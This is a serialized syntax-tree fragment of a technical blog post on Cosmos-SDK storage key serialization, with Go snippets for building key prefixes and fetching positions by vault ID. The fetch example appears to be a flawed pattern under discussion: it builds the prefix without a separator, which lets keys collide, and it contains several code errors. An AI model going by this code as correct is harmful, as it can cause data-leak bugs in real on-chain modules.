"children":89016},{"style":125},[89017],{"type":28,"value":77823},{"type":22,"tag":118,"props":89019,"children":89020},{"style":131},[89021],{"type":28,"value":86361},{"type":22,"tag":118,"props":89023,"children":89024},{"style":125},[89025],{"type":28,"value":16783},{"type":22,"tag":118,"props":89027,"children":89028},{"class":120,"line":384},[89029,89033,89037,89041],{"type":22,"tag":118,"props":89030,"children":89031},{"style":204},[89032],{"type":28,"value":87457},{"type":22,"tag":118,"props":89034,"children":89035},{"style":210},[89036],{"type":28,"value":78012},{"type":22,"tag":118,"props":89038,"children":89039},{"style":532},[89040],{"type":28,"value":87160},{"type":22,"tag":118,"props":89042,"children":89043},{"style":125},[89044],{"type":28,"value":696},{"type":22,"tag":118,"props":89046,"children":89047},{"class":120,"line":417},[89048,89052,89056],{"type":22,"tag":118,"props":89049,"children":89050},{"style":125},[89051],{"type":28,"value":88051},{"type":22,"tag":118,"props":89053,"children":89054},{"style":131},[89055],{"type":28,"value":86361},{"type":22,"tag":118,"props":89057,"children":89058},{"style":125},[89059],{"type":28,"value":782},{"type":22,"tag":118,"props":89061,"children":89062},{"class":120,"line":425},[89063,89067,89071,89075,89079,89083,89087,89091],{"type":22,"tag":118,"props":89064,"children":89065},{"style":204},[89066],{"type":28,"value":88067},{"type":22,"tag":118,"props":89068,"children":89069},{"style":125},[89070],{"type":28,"value":292},{"type":22,"tag":118,"props":89072,"children":89073},{"style":532},[89074],{"type":28,"value":87197},{"type":22,"tag":118,"props":89076,"children":89077},{"style":125},[89078],{"type":28,"value":540},{"type":22,"tag":118,"props":89080,"children":89081},{"style":532},[89082],{"type":28,"value":11137},{"type":22,"tag":118,"props":89084,"children":89085},{"style":125},[89086],{"type":28,"value":540},{"type":22,"tag":118,"props":89088,"children":89089},{"style":204},[89090],{"type":28,"value":87067},{"type":22,"tag":118,"props":89092,"children":89093},{"style":125},[89094],{"type":28,"value":87218},{"type":22,"tag":118,"props":89096,"children":89097},{"class":120,"line":441},[89098],{"type":22,"tag":118,"props":89099,"children":89100},{"style":125},[89101],{"type":28,"value":25864},{"type":22,"tag":118,"props":89103,"children":89104},{"class":120,"line":475},[89105,89109,89113,89117,89121,89125,89129,89133],{"type":22,"tag":118,"props":89106,"children":89107},{"style":204},[89108],{"type":28,"value":87188},{"type":22,"tag":118,"props":89110,"children":89111},{"style":125},[89112],{"type":28,"value":292},{"type":22,"tag":118,"props":89114,"children":89115},{"style":532},[89116],{"type":28,"value":87242},{"type":22,"tag":118,"props":89118,"children":89119},{"style":125},[89120],{"type":28,"value":540},{"type":22,"tag":118,"props":89122,"children":89123},{"style":204},[89124],{"type":28,"value":87151},{"type":22,"tag":118,"props":89126,"children":89127},{"style":125},[89128],{"type":28,"value":231},{"type":22,"tag":118,"props":89130,"children":89131},{"style":204},[89132],{"type":28,"value":87067},{"type":22,"tag":118,"props":89134,"children":89135},{"style":125},[89136],{"type":28,"value":3665},{"type":22,"tag":118,"props":89138,"children":89139},{"class":120,"line":484},[89140],{"type":22,"tag":118,"props":89141,"children":89142},{"emptyLinePlaceholder":15},[89143],{"type":28,"value":250},{"type":22,"tag":118,"props":89145,"children":89146},{"class":120,"line":492},[89147,89151,89155,89159],{"type":22,"tag":118,"props":89148,"children":89149},{"style":204},[89150],{"type":28,"value":88152},{"type":22,"tag":118,"props":89152,"children":89153},{"style":210},[89154],{"type":28,"value":78012},{"type":22,"tag":118,"props":89156,"children":89157},{"style":532},[89158],{"type":28,"value":87160},{"type":22,"tag":118,"props":89160,"children":89161},{"style":125},[89162],{"type":28,"value":696},{"type":22,"tag":118,"props":89164,"children":89165},{"class":120,"line":501},[89166,89170,89174],{"type":22,"tag":118,"props":89167,"children":89168},{"style":125},[89169],{"type":28,"value":88051},{"type":22,"tag":118,"props":89171,"children":89172},{"style":131},[89173],{"type":28,"value":86361},{"type":22,"tag":118,"props":89175,"children":89176},{"style":125},[89177],{"type":28,"value":782},{"type":22,"tag":118,"props":89179,"children":89180},{"class":120,"line":519},[89181,89185,89189,89193,89197,89201,89205,89209],{"type":22,"tag":118,"props":89182,"children":89183},{"style":204},[89184],{"type":28,"value":88067},{"type":22,"tag":118,"props":89186,"children":89187},{"style":125},[89188],{"type":28,"value":292},{"type":22,"tag":118,"props":89190,"children":89191},{"style":532},[89192],{"type":28,"value":87197},{"type":22,"tag":118,"props":89194,"children":89195},{"style":125},[89196],{"type":28,"value":540},{"type":22,"tag":118,"props":89198,"children":89199},{"style":532},[89200],{"type":28,"value":11137},{"type":22,"tag":118,"props":89202,"children":89203},{"style":125},[89204],{"type":28,"value":540},{"type":22,"tag":118,"props":89206,"children":89207},{"style":204},[89208],{"type":28,"value":87336},{"type":22,"tag":118,"props":89210,"children":89211},{"style":125},[89212],{"type":28,"value":87218},{"type":22,"tag":118,"props":89214,"children":89215},{"class":120,"line":606},[89216],{"type":22,"tag":118,"props":89217,"children":89218},{"style":125},[89219],{"type":28,"value":25864},{"type":22,"tag":118,"props":89221,"children":89222},{"class":120,"line":615},[89223,89227,89231,89235,89239,89243,89247,89251],{"type":22,"tag":118,"props":89224,"children":89225},{"style":204},[89226],{"type":28,"value":87188},{"type":22,"tag":118,"props":89228,"children":89229},{"style":125},[89230],{"type":28,"value":292},{"type":22,"tag":118,"props":89232,"children":89233},{"style":532},[89234],{"type":28,"value":87242},{"type":22,"tag":118,"props":89236,"children":89237},{"style":125},[89238],{"type":28,"value":540},{"type":22,"tag":118,"props":89240,"children":89241},{"style":204},[89242],{"type":28,"value":87277},{"type":22,"tag":118,"props":89244,"children":89245},{"style":125},[89246],{"type":28,"value":231},{"type":22,"tag":118,"props":89248,"children":89249},{"style":204},[89250],{"type":28,"value":87336},{"type":22,"tag":118,"props":89252,"children":89253},{"style":125},[89254],{"type":28,"value":3665},{"type":22,"tag":118,"props":89256,"children":89257},{"class":120,"line":685},[89258],{"type":22,"tag":118,"props":89259,"children":89260},{"emptyLinePlaceholder":15},[89261],{"type":28,"value":250},{"type":22,"tag":118,"props":89263,"children":89264},{"class":120,"line":699},[89265,89269,89273,89277,89281,89285],{"type":22,"tag":118,"props":89266,"children":89267},{"style":204},[89268],{"type":28,"value":88271},{"type":22,"tag":118,"props":89270,"children":89271},{"style":210},[89272],{"type":28,"value":78012},{"type":22,"tag":118,"props":89274,"children":89275},{"style":204},[89276],{"type":28,"value":83830},{"type":22,"tag":118,"props":89278,"children":89279},{"style":125},[89280],{"type":28,"value":292},{"type":22,"tag":118,"props":89282,"children":89283},{"style":532},[89284],{"type":28,"value":86819},{"type":22,"tag":118,"props":89286,"children":89287},{"style":125},[89288],{"type":28,"value":696},{"type":22,"tag":118,"props":89290,"children":89291},{"class":120,"line":729},[89292,89297],{"type":22,"tag":118,"props":89293,"children":89294},{"style":1866},[89295],{"type":28,"value":89296},"        \"%s%d%s%s%s%s\"",{"type":22,"tag":118,"props":89298,"children":89299},{"style":125},[89300],{"type":28,"value":782},{"type":22,"tag":118,"props":89302,"children":89303},{"class":120,"line":771},[89304,89309],{"type":22,"tag":118,"props":89305,"children":89306},{"style":204},[89307],{"type":28,"value":89308},"        PositionMapPrefix",{"type":22,"tag":118,"props":89310,"children":89311},{"style":125},[89312],{"type":28,"value":782},{"type":22,"tag":118,"props":89314,"children":89315},{"class":120,"line":785},[89316,89320],{"type":22,"tag":118,"props":89317,"children":89318},{"style":204},[89319],{"type":28,"value":88311},{"type":22,"tag":118,"props":89321,"children":89322},{"style":125},[89323],{"type":28,"value":782},{"type":22,"tag":118,"props":89325,"children":89326},{"class":120,"line":804},[89327,89331],{"type":22,"tag":118,"props":89328,"children":89329},{"style":204},[89330],{"type":28,"value":88323},{"type":22,"tag":118,"props":89332,"children":89333},{"style":125},[89334],{"type":28,"value":782},{"type":22,"tag":118,"props":89336,"children":89337},{"class":120,"line":812},[89338,89342],{"type":22,"tag":118,"props":89339,"children":89340},{"style":204},[89341],{"type":28,"value":88335},{"type":22,"tag":118,"props":89343,"children":89344},{"style":125},[89345],{"type":28,"value":782},{"type":22,"tag":118,"props":89347,"children":89348},{"class":120,"line":821},[89349,89353],{"type":22,"tag":118,"props":89350,"children":89351},{"style":204},[89352],{"type":28,"value":88323},{"type":22,"tag":118,"props":89354,"children":89355},{"style":125},[89356],{"type":28,"value":782},{"type":22,"tag":118,"props":89358,"children":89359},{"class":120,"line":900},[89360,89364],{"type":22,"tag":118,"props":89361,"children":89362},{"style":204},[89363],{"type":28,"value":88358},{"type":22,"tag":118,"props":89365,"children":89366},{"style":125},[89367],{"type":28,"value":782},{"type":22,"tag":118,"props":89369,"children":89370},{"class":120,"line":913},[89371],{"type":22,"tag":118,"props":89372,"children":89373},{"style":125},[89374],{"type":28,"value":25864},{"type":22,"tag":118,"props":89376,"children":89377},{"class":120,"line":953},[89378],{"type":22,"tag":118,"props":89379,"children":89380},{"style":125},[89381],{"type":28,"value":481},{"type":22,"tag":118,"props":89383,"children":89384},{"class":120,"line":982},[89385],{"type":22,"tag":118,"props":89386,"children":89387},{"emptyLinePlaceholder":15},[89388],{"type":28,"value":250},{"type":22,"tag":118,"props":89390,"children":89391},{"class":120,"line":995},[89392],{"type":22,"tag":118,"props":89393,"children":89394},{"emptyLinePlaceholder":15},[89395],{"type":28,"value":250},{"type":22,"tag":118,"props":89397,"children":89398},{"class":120,"line":1011},[89399,89403,89407],{"type":22,"tag":118,"props":89400,"children":89401},{"style":146},[89402],{"type":28,"value":77896},{"type":22,"tag":118,"props":89404,"children":89405},{"style":532},[89406],{"type":28,"value":88402},{"type":22,"tag":118,"props":89408,"children":89409},{"style":125},[89410],{"type":28,"value":696},{"type":22,"tag":118,"props":89412,"children":89413},{"class":120,"line":1019},[89414,89418,89422],{"type":22,"tag":118,"props":89415,"children":89416},{"style":204},[89417],{"type":28,"value":86843},{"type":22,"tag":118,"props":89419,"children":89420},{"style":131},[89421],{"type":28,"value":78017},{"type":22,"tag":118,"props":89423,"children":89424},{"style":125},[89425],{"type":28,"value":782},{"type":22,"tag":118,"props":89427,"children":89428},{"class":120,"line":1028},[89429,89433,89437,89441,89445,89449],{"type":22,"tag":118,"props":89430,"children":89431},{"style":204},[89432],{"type":28,"value":86855},{"type":22,"tag":118,"props":89434,"children":89435},{"style":125},[89436],{"type":28,"value":231},{"type":22,"tag":118,"props":89438,"children":89439},{"style":204},[89440],{"type":28,"value":88437},{"type":22,"tag":118,"props":89442,"children":89443},{"style":125},[89444],{"type":28,"value":77823},{"type":22,"tag":118,"props":89446,"children":89447},{"style":131},[89448],{"type":28,"value":86361},{"type":22,"tag":118,"props":89450,"children":89451},{"style":125},[89452],{"type":28,"value":782},{"type":22,"tag":118,"props":89454,"children":89455},{"class":120,"line":1101},[89456,89460,89464,89468,89472],{"type":22,"tag":118,"props":89457,"children":89458},{"style":125},[89459],{"type":28,"value":77978},{"type":22,"tag":118,"props":89461,"children":89462},{"style":204},[89463],{"type":28,"value":1093},{"type":22,"tag":118,"props":89465,"children":89466},{"style":125},[89467],{"type":28,"value":77823},{"type":22,"tag":118,"props":89469,"children":89470},{"style":131},[89471],{"type":28,"value":86361},{"type":22,"tag":118,"props":89473,"children":89474},{"style":125},[89475],{"type":28,"value":16783},{"type":22,"tag":118,"props":89477,"children":89478},{"class":120,"line":1146},[89479,89483,89487,89491],{"type":22,"tag":118,"props":89480,"children":89481},{"style":204},[89482],{"type":28,"value":87457},{"type":22,"tag":118,"props":89484,"children":89485},{"style":210},[89486],{"type":28,"value":78012},{"type":22,"tag":118,"props":89488,"children":89489},{"style":532},[89490],{"type":28,"value":87160},{"type":22,"tag":118,"props":89492,"children":89493},{"style":125},[89494],{"type":28,"value":696},{"type":22,"tag":118,"props":89496,"children":89497},{"class":120,"line":1226},[89498,89502,89506],{"type":22,"tag":118,"props":89499,"children":89500},{"style":125},[89501],{"type":28,"value":88051},{"type":22,"tag":118,"props":89503,"children":89504},{"style":131},[89505],{"type":28,"value":86361},{"type":22,"tag":118,"props":89507,"children":89508},{"style":125},[89509],{"type":28,"value":782},{"type":22,"tag":118,"props":89511,"children":89512},{"class":120,"line":1234},[89513,89517,89521,89525,89529,89533,89537,89541],{"type":22,"tag":118,"props":89514,"children":89515},{"style":204},[89516],{"type":28,"value":88067},{"type":22,"tag":118,"props":89518,"children":89519},{"style":125},[89520],{"type":28,"value":292},{"type":22,"tag":118,"props":89522,"children":89523},{"style":532},[89524],{"type":28,"value":87197},{"type":22,"tag":118,"props":89526,"children":89527},{"style":125},[89528],{"type":28,"value":540},{"type":22,"tag":118,"props":89530,"children":89531},{"style":532},[89532],{"type":28,"value":11137},{"type":22,"tag":118,"props":89534,"children":89535},{"style":125},[89536],{"type":28,"value":540},{"type":22,"tag":118,"props":89538,"children":89539},{"style":204},[89540],{"type":28,"value":87067},{"type":22,"tag":118,"props":89542,"children":89543},{"style":125},[89544],{"type":28,"value":87218},{"type":22,"tag":118,"props":89546,"children":89547},{"class":120,"line":1248},[89548],{"type":22,"tag":118,"props":89549,"children":89550},{"style":125},[89551],{"type":28,"value":25864},{"type":22,"tag":118,"props":89553,"children":89554},{"class":120,"line":1257},[89555,89559,89563,89567,89571,89575,89579,89583],{"type":22,"tag":118,"props":89556,"children":89557},{"style":204},[89558],{"type":28,"value":87188},{"type":22,"tag":118,"props":89560,"children":89561},{"style":125},[89562],{"type":28,"value":292},{"type":22,"tag":118,"props":89564,"children":89565},{"style":532},[89566],{"type":28,"value":87242},{"type":22,"tag":118,"props":89568,"children":89569},{"style":125},[89570],{"type":28,"value":540},{"type":22,"tag":118,"props":89572,"children":89573},{"style":204},[89574],{"type":28,"value":87151},{"type":22,"tag":118,"props":89576,"children":89577},{"style":125},[89578],{"type":28,"value":231},{"type":22,"tag":118,"props":89580,"children":89581},{"style":204},[89582],{"type":28,"value":87067},{"type":22,"tag":118,"props":89584,"children":89585},{"style":125},[89586],{"type":28,"value":3665},{"type":22,"tag":118,"props":89588,"children":89589},{"class":120,"line":25765},[89590],{"type":22,"tag":118,"props":89591,"children":89592},{"emptyLinePlaceholder":15},[89593],{"type":28,"value":250},{"type":22,"tag":118,"props":89595,"children":89596},{"class":120,"line":25778},[89597,89601,89605,89609],{"type":22,"tag":118,"props":89598,"children":89599},{"style":204},[89600],{"type":28,"value":88594},{"type":22,"tag":118,"props":89602,"children":89603},{"style":210},[89604],{"type":28,"value":78012},{"type":22,"tag":118,"props":89606,"children":89607},{"style":532},[89608],{"type":28,"value":87160},{"type":22,"tag":118,"props":89610,"children":89611},{"style":125},[89612],{"type":28,"value":696},{"type":22,"tag":118,"props":89614,"children":89615},{"class":120,"line":25791},[89616,89620,89624],{"type":22,"tag":118,"props":89617,"children":89618},{"style":125},[89619],{"type":28,"value":88051},{"type":22,"tag":118,"props":89621,"children":89622},{"style":131},[89623],{"type":28,"value":86361},{"type":22,"tag":118,"props":89625,"children":89626},{"style":125},[89627],{"type":28,"value":782},{"type":22,"tag":118,"props":89629,"children":89630},{"class":120,"line":25804},[89631,89635,89639,89643,89647,89651,89655,89659],{"type":22,"tag":118,"props":89632,"children":89633},{"style":204},[89634],{"type":28,"value":88067},{"type":22,"tag":118,"props":89636,"children":89637},{"style":125},[89638],{"type":28,"value":292},{"type":22,"tag":118,"props":89640,"children":89641},{"style":532},[89642],{"type":28,"value":87197},{"type":22,"tag":118,"props":89644,"children":89645},{"style":125},[89646],{"type":28,"value":540},{"type":22,"tag":118,"props":89648,"children":89649},{"style":532},[89650],{"type":28,"value":11137},{"type":22,"tag":118,"props":89652,"children":89653},{"style":125},[89654],{"type":28,"value":540},{"type":22,"tag":118,"props":89656,"children":89657},{"style":204},[89658],{"type":28,"value":88437},{"type":22,"tag":118,"props":89660,"children":89661},{"style":125},[89662],{"type":28,"value":87218},{"type":22,"tag":118,"props":89664,"children":89665},{"class":120,"line":25858},[89666],{"type":22,"tag":118,"props":89667,"children":89668},{"style":125},[89669],{"type":28,"value":25864},{"type":22,"tag":118,"props":89671,"children":89672},{"class":120,"line":25867},[89673,89677,89681,89685,89689,89693,89697,89701],{"type":22,"tag":118,"props":89674,"children":89675},{"style":204},[89676],{"type":28,"value":87188},{"type":22,"tag":118,"props":89678,"children":89679},{"style":125},[89680],{"type":28,"value":292},{"type":22,"tag":118,"props":89682,"children":89683},{"style":532},[89684],{"type":28,"value":87242},{"type":22,"tag":118,"props":89686,"children":89687},{"style":125},[89688],{"type":28,"value":540},{"type":22,"tag":118,"props":89690,"children":89691},{"style":204},[89692],{"type":28,"value":88687},{"type":22,"tag":118,"props":89694,"children":89695},{"style":125},[89696],{"type":28,"value":231},{"type":22,"tag":118,"props":89698,"children":89699},{"style":204},[89700],{"type":28,"value":88437},{"type":22,"tag":118,"props":89702,"children":89703},{"style":125},[89704],{"type":28,"value":3665},{"type":22,"tag":118,"props":89706,"children":89707},{"class":120,"line":34219},[89708],{"type":22,"tag":118,"props":89709,"children":89710},{"emptyLinePlaceholder":15},[89711],{"type":28,"value":250},{"type":22,"tag":118,"props":89713,"children":89714},{"class":120,"line":34240},[89715,89719,89723,89727,89731,89735],{"type":22,"tag":118,"props":89716,"children":89717},{"style":204},[89718],{"type":28,"value":88271},{"type":22,"tag":118,"props":89720,"children":89721},{"style":210},[89722],{"type":28,"value":78012},{"type":22,"tag":118,"props":89724,"children":89725},{"style":204},[89726],{"type":28,"value":83830},{"type":22,"tag":118,"props":89728,"children":89729},{"style":125},[89730],{"type":28,"value":292},{"type":22,"tag":118,"props":89732,"children":89733},{"style":532},[89734],{"type":28,"value":86819},{"type":22,"tag":118,"props":89736,"children":89737},{"style":125},[89738],{"type":28,"value":696},{"type":22,"tag":118,"props":89740,"children":89741},{"class":120,"line":82547},[89742,89746],{"type":22,"tag":118,"props":89743,"children":89744},{"style":1866},[89745],{"type":28,"value":89296},{"type":22,"tag":118,"props":89747,"children":89748},{"style":125},[89749],{"type":28,"value":782},{"type":22,"tag":118,"props":89751,"children":89752},{"class":120,"line":82560},[89753,89758],{"type":22,"tag":118,"props":89754,"children":89755},{"style":204},[89756],{"type":28,"value":89757},"        AddressMapPrefix",{"type":22,"tag":118,"props":89759,"children":89760},{"style":125},[89761],{"type":28,"value":782},{"type":22,"tag":118,"props":89763,"children":89764},{"class":120,"line":82568},[89765,89769],{"type":22,"tag":118,"props":89766,"children":89767},{"style":204},[89768],{"type":28,"value":88311},{"type":22,"tag":118,"props":89770,"children":89771},{"style":125},[89772],{"type":28,"value":782},{"type":22,"tag":118,"props":89774,"children":89775},{"class":120,"line":82576},[89776,89780],{"type":22,"tag":118,"props":89777,"children":89778},{"style":204},[89779],{"type":28,"value":88323},{"type":22,"tag":118,"props":89781,"children":89782},{"style":125},[89783],{"type":28,"value":782},{"type":22,"tag":118,"props":89785,"children":89786},{"class":120,"line":82584},[89787,89791],{"type":22,"tag":118,"props":89788,"children":89789},{"style":204},[89790],{"type":28,"value":88335},{"type":22,"tag":118,"props":89792,"children":89793},{"style":125},[89794],{"type":28,"value":782},{"type":22,"tag":118,"props":89796,"children":89797},{"class":120,"line":82624},[89798,89802],{"type":22,"tag":118,"props":89799,"children":89800},{"style":204},[89801],{"type":28,"value":88323},{"type":22,"tag":118,"props":89803,"children":89804},{"style":125},[89805],{"type":28,"value":782},{"type":22,"tag":118,"props":89807,"children":89808},{"class":120,"line":82632},[89809,89813],{"type":22,"tag":118,"props":89810,"children":89811},{"style":204},[89812],{"type":28,"value":88796},{"type":22,"tag":118,"props":89814,"children":89815},{"style":125},[89816],{"type":28,"value":782},{"type":22,"tag":118,"props":89818,"children":89820},{"class":120,"line":89819},60,[89821],{"type":22,"tag":118,"props":89822,"children":89823},{"style":125},[89824],{"type":28,"value":25864},{"type":22,"tag":118,"props":89826,"children":89828},{"class":120,"line":89827},61,[89829],{"type":22,"tag":118,"props":89830,"children":89831},{"style":125},[89832],{"type":28,"value":481},{"type":22,"tag":31,"props":89834,"children":89835},{},[89836],{"type":28,"value":89837},"We now have a proper example of how to serialize storage keys.",{"type":22,"tag":31,"props":89839,"children":89840},{},[89841,89843,89848],{"type":28,"value":89842},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":22,"tag":114,"props":89844,"children":89846},{"className":89845},[],[89847],{"type":28,"value":3595},{"type":28,"value":89849},", data should still be retrievable through original keys.",{"type":22,"tag":31,"props":89851,"children":89852},{},[89853,89855,89861,89863,89868],{"type":28,"value":89854},"Let's look at a case where we want to retrieve all ",{"type":22,"tag":114,"props":89856,"children":89858},{"className":89857},[],[89859],{"type":28,"value":89860},"map[Username]map[PositionName]Position",{"type":28,"value":89862}," associated with a ",{"type":22,"tag":114,"props":89864,"children":89866},{"className":89865},[],[89867],{"type":28,"value":86731},{"type":28,"value":89869}," from the storage. How can we safely accomplish this?",{"type":22,"tag":31,"props":89871,"children":89872},{},[89873,89875,89880,89882,89888],{"type":28,"value":89874},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":22,"tag":114,"props":89876,"children":89878},{"className":89877},[],[89879],{"type":28,"value":86802},{"type":28,"value":89881}," prefix. Below is an example of an attempt to fetch data with ",{"type":22,"tag":114,"props":89883,"children":89885},{"className":89884},[],[89886],{"type":28,"value":89887},"vaultId",{"type":28,"value":213},{"type":22,"tag":107,"props":89890,"children":89892},{"code":89891,"language":77760,"meta":7,"className":77761,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[89893],{"type":22,"tag":114,"props":89894,"children":89895},{"__ignoreMap":7},[89896,89912,89927,89976,90028,90057,90069,90115,90122,90168,90223,90230,90294,90355,90378,90397,90404,90411,90471,90530,90553,90572,90579,90586,90639,90687,90694,90701,90741,90770,90777,90784,90796],{"type":22,"tag":118,"props":89897,"children":89898},{"class":120,"line":121},[89899,89903,89908],{"type":22,"tag":118,"props":89900,"children":89901},{"style":146},[89902],{"type":28,"value":77896},{"type":22,"tag":118,"props":89904,"children":89905},{"style":532},[89906],{"type":28,"value":89907}," FetchPositionMapWithVaultId",{"type":22,"tag":118,"props":89909,"children":89910},{"style":125},[89911],{"type":28,"value":696},{"type":22,"tag":118,"props":89913,"children":89914},{"class":120,"line":142},[89915,89919,89923],{"type":22,"tag":118,"props":89916,"children":89917},{"style":204},[89918],{"type":28,"value":86843},{"type":22,"tag":118,"props":89920,"children":89921},{"style":131},[89922],{"type":28,"value":78017},{"type":22,"tag":118,"props":89924,"children":89925},{"style":125},[89926],{"type":28,"value":782},{"type":22,"tag":118,"props":89928,"children":89929},{"class":120,"line":177},[89930,89935,89939,89943,89947,89951,89955,89959,89963,89967,89972],{"type":22,"tag":118,"props":89931,"children":89932},{"style":125},[89933],{"type":28,"value":89934},") ([]",{"type":22,"tag":118,"props":89936,"children":89937},{"style":146},[89938],{"type":28,"value":3595},{"type":22,"tag":118,"props":89940,"children":89941},{"style":125},[89942],{"type":28,"value":5746},{"type":22,"tag":118,"props":89944,"children":89945},{"style":131},[89946],{"type":28,"value":86748},{"type":22,"tag":118,"props":89948,"children":89949},{"style":125},[89950],{"type":28,"value":17386},{"type":22,"tag":118,"props":89952,"children":89953},{"style":146},[89954],{"type":28,"value":3595},{"type":22,"tag":118,"props":89956,"children":89957},{"style":125},[89958],{"type":28,"value":5746},{"type":22,"tag":118,"props":89960,"children":89961},{"style":131},[89962],{"type":28,"value":86765},{"type":22,"tag":118,"props":89964,"children":89965},{"style":125},[89966],{"type":28,"value":17386},{"type":22,"tag":118,"props":89968,"children":89969},{"style":131},[89970],{"type":28,"value":89971},"Position",{"type":22,"tag":118,"props":89973,"children":89974},{"style":125},[89975],{"type":28,"value":16783},{"type":22,"tag":118,"props":89977,"children":89978},{"class":120,"line":195},[89979,89984,89988,89992,89996,90000,90004,90008,90012,90016,90020,90024],{"type":22,"tag":118,"props":89980,"children":89981},{"style":204},[89982],{"type":28,"value":89983},"    values",{"type":22,"tag":118,"props":89985,"children":89986},{"style":210},[89987],{"type":28,"value":78012},{"type":22,"tag":118,"props":89989,"children":89990},{"style":146},[89991],{"type":28,"value":51609},{"type":22,"tag":118,"props":89993,"children":89994},{"style":125},[89995],{"type":28,"value":5746},{"type":22,"tag":118,"props":89997,"children":89998},{"style":131},[89999],{"type":28,"value":86748},{"type":22,"tag":118,"props":90001,"children":90002},{"style":125},[90003],{"type":28,"value":17386},{"type":22,"tag":118,"props":90005,"children":90006},{"style":146},[90007],{"type":28,"value":3595},{"type":22,"tag":118,"props":90009,"children":90010},{"style":125},[90011],{"type":28,"value":5746},{"type":22,"tag":118,"props":90013,"children":90014},{"style":131},[90015],{"type":28,"value":86765},{"type":22,"tag":118,"props":90017,"children":90018},{"style":125},[90019],{"type":28,"value":17386},{"type":22,"tag":118,"props":90021,"children":90022},{"style":131},[90023],{"type":28,"value":89971},{"type":22,"tag":118,"props":90025,"children":90026},{"style":125},[90027],{"type":28,"value":79693},{"type":22,"tag":118,"props":90029,"children":90030},{"class":120,"line":244},[90031,90036,90040,90044,90048,90053],{"type":22,"tag":118,"props":90032,"children":90033},{"style":204},[90034],{"type":28,"value":90035},"    i",{"type":22,"tag":118,"props":90037,"children":90038},{"style":210},[90039],{"type":28,"value":78012},{"type":22,"tag":118,"props":90041,"children":90042},{"style":204},[90043],{"type":28,"value":80237},{"type":22,"tag":118,"props":90045,"children":90046},{"style":125},[90047],{"type":28,"value":292},{"type":22,"tag":118,"props":90049,"children":90050},{"style":532},[90051],{"type":28,"value":90052},"KVStorePrefixIterator",{"type":22,"tag":118,"props":90054,"children":90055},{"style":125},[90056],{"type":28,"value":696},{"type":22,"tag":118,"props":90058,"children":90059},{"class":120,"line":253},[90060,90065],{"type":22,"tag":118,"props":90061,"children":90062},{"style":204},[90063],{"type":28,"value":90064},"        kvStore",{"type":22,"tag":118,"props":90066,"children":90067},{"style":125},[90068],{"type":28,"value":782},{"type":22,"tag":118,"props":90070,"children":90071},{"class":120,"line":263},[90072,90077,90081,90085,90089,90094,90098,90103,90107,90111],{"type":22,"tag":118,"props":90073,"children":90074},{"style":204},[90075],{"type":28,"value":90076},"        fmt",{"type":22,"tag":118,"props":90078,"children":90079},{"style":125},[90080],{"type":28,"value":292},{"type":22,"tag":118,"props":90082,"children":90083},{"style":532},[90084],{"type":28,"value":86819},{"type":22,"tag":118,"props":90086,"children":90087},{"style":125},[90088],{"type":28,"value":540},{"type":22,"tag":118,"props":90090,"children":90091},{"style":1866},[90092],{"type":28,"value":90093},"\"%s%d\"",{"type":22,"tag":118,"props":90095,"children":90096},{"style":125},[90097],{"type":28,"value":231},{"type":22,"tag":118,"props":90099,"children":90100},{"style":204},[90101],{"type":28,"value":90102},"PositionMapPrefix",{"type":22,"tag":118,"props":90104,"children":90105},{"style":125},[90106],{"type":28,"value":231},{"type":22,"tag":118,"props":90108,"children":90109},{"style":204},[90110],{"type":28,"value":89887},{"type":22,"tag":118,"props":90112,"children":90113},{"style":125},[90114],{"type":28,"value":3665},{"type":22,"tag":118,"props":90116,"children":90117},{"class":120,"line":318},[90118],{"type":22,"tag":118,"props":90119,"children":90120},{"style":125},[90121],{"type":28,"value":25864},{"type":22,"tag":118,"props":90123,"children":90124},{"class":120,"line":351},[90125,90129,90134,90138,90142,90147,90151,90155,90159,90164],{"type":22,"tag":118,"props":90126,"children":90127},{"style":1480},[90128],{"type":28,"value":5059},{"type":22,"tag":118,"props":90130,"children":90131},{"style":125},[90132],{"type":28,"value":90133}," ; ",{"type":22,"tag":118,"props":90135,"children":90136},{"style":204},[90137],{"type":28,"value":3613},{"type":22,"tag":118,"props":90139,"children":90140},{"style":125},[90141],{"type":28,"value":292},{"type":22,"tag":118,"props":90143,"children":90144},{"style":532},[90145],{"type":28,"value":90146},"Valid",{"type":22,"tag":118,"props":90148,"children":90149},{"style":125},[90150],{"type":28,"value":30387},{"type":22,"tag":118,"props":90152,"children":90153},{"style":204},[90154],{"type":28,"value":3613},{"type":22,"tag":118,"props":90156,"children":90157},{"style":125},[90158],{"type":28,"value":292},{"type":22,"tag":118,"props":90160,"children":90161},{"style":532},[90162],{"type":28,"value":90163},"Next",{"type":22,"tag":118,"props":90165,"children":90166},{"style":125},[90167],{"type":28,"value":2215},{"type":22,"tag":118,"props":90169,"children":90170},{"class":120,"line":359},[90171,90176,90180,90185,90189,90193,90197,90201,90205,90210,90214,90219],{"type":22,"tag":118,"props":90172,"children":90173},{"style":204},[90174],{"type":28,"value":90175},"        k",{"type":22,"tag":118,"props":90177,"children":90178},{"style":210},[90179],{"type":28,"value":78012},{"type":22,"tag":118,"props":90181,"children":90182},{"style":204},[90183],{"type":28,"value":90184}," 